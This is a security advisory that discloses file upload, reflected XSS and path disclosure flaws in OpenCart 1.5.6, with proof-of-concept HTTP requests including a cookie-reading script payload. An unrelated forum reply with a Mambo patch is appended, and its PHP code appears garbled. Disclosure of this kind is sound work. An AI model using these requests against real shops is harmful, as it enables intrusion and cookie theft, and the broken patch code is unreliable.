Opencart Multiple Vulnerabilities

[trueend5]

###
# Title: Opencart Multiple Vulnerabilities
# Vendor: http://www.opencart.com
# Vulnerabilities: Arbitrary File Upload, XSS, Path Disclosure
# Vulnerable Version: opencart 1.5.6 (prior versions also may be affected)
# Exploitation: Remote with browser
# Impact: High
# Vendor Supplied Patch: N/A
# Original Advisory with Workaround: 
# http://www.garda.ir/Opencart_Multiple_Vulnerabilities.html
###


- Description:


Quote from vendor: OpenCart is a turn-key ready out of the box shopping cart 
solution.
You simply install, select your template, add products and you're ready to 
start accepting orders.



- Vulnerability:

In the process of optimizing our crawler engine by garda.ir (garda.ir is a 
Persian online shopping price comparison service which uses new search engine 
technologies to grab prices) we found file upload vulnerability in opencart 
application, further investigation lead us to discover other vulnerabilities 
such as path disclosure and xss.
 



- POC:


# 1
# File Upload
# Insufficient Authorization in /catalog/controller/product/product.php 
# Result: testupload.txt.somehash is created in /download folder


POST /opencart-1.5.6/index.php?route=product/product/upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; 
boundary=---4827543632391
Content-Length: 206
Connection: Keep-Alive


-4827543632391
Content-Disposition: form-data; name=file; filename=testupload.txt
Content-Type: text/plain

testtesttest
-4827543632391--


# 2
# Reflected XSS and Path Disclosure
# Input Validation Error in /catalog/controller/account/register.php
# Result: this will cause arbitrary scripting code to be executed by the   
# target user's browser.

POST /opencart-1.5.6/index.php?route=account/register HTTP/1.1
Content-Type: multipart/form-data; 
boundary=---1e7a98bc645efbe7
Content-Length: 181
Host: example.com
Connection: Keep-Alive


-1e7a98bc645efbe7
Content-Disposition: form-data; name=zone_id

12345'+alert(document.cookie)+'
-1e7a98bc645efbe7--


# 3
# Information Leakage – Path Disclosure
# Insufficient Authorization in /system/logs/error.txt 
# Result: Information Disclosure

http://www.example.com/opencart-1.5.6/system/logs/error.txt



- Solution:

There is no Vendor Supplied Patch at the time of this entry.
For workaround check the Original Advisory.



- Credit:

Discovered by: trueend5 (trueend5 [at] yahoo com)

This advisory is sponsored by garda.ir
http://www.garda.ir
A Persian online shopping price comparison service

Re: Re: Mambo Open Source, Path disclosure

[trueend5]

You are right 
mamboserver soloution is available now:
The fix is easy,

in /component/com_content/content.php
Approx Line 190 Change the block FROM:


Code:
// Paramters
$params = new stdClass();
if ( $Itemid ) {
$menu = new mosMenu( $database );
$menu-load( $Itemid );
$params = new mosParameters( $menu-params );
} else {
$menu = ;
$params = new mosEmpty();

}

CHANGE TO READ:

Code:
// Paramters
$params = new stdClass();
if ( $Itemid ) {
$menu = new mosMenu( $database );
$menu-load( $Itemid );
$params = new mosParameters( $menu-params );
} else {
$menu = ;
$params = new mosParameters(''); //mosEmpty();

}
best regards
Alireza Hassani
Security Science Researchers Institute Of Iran
[http://www.KAPDA.ir]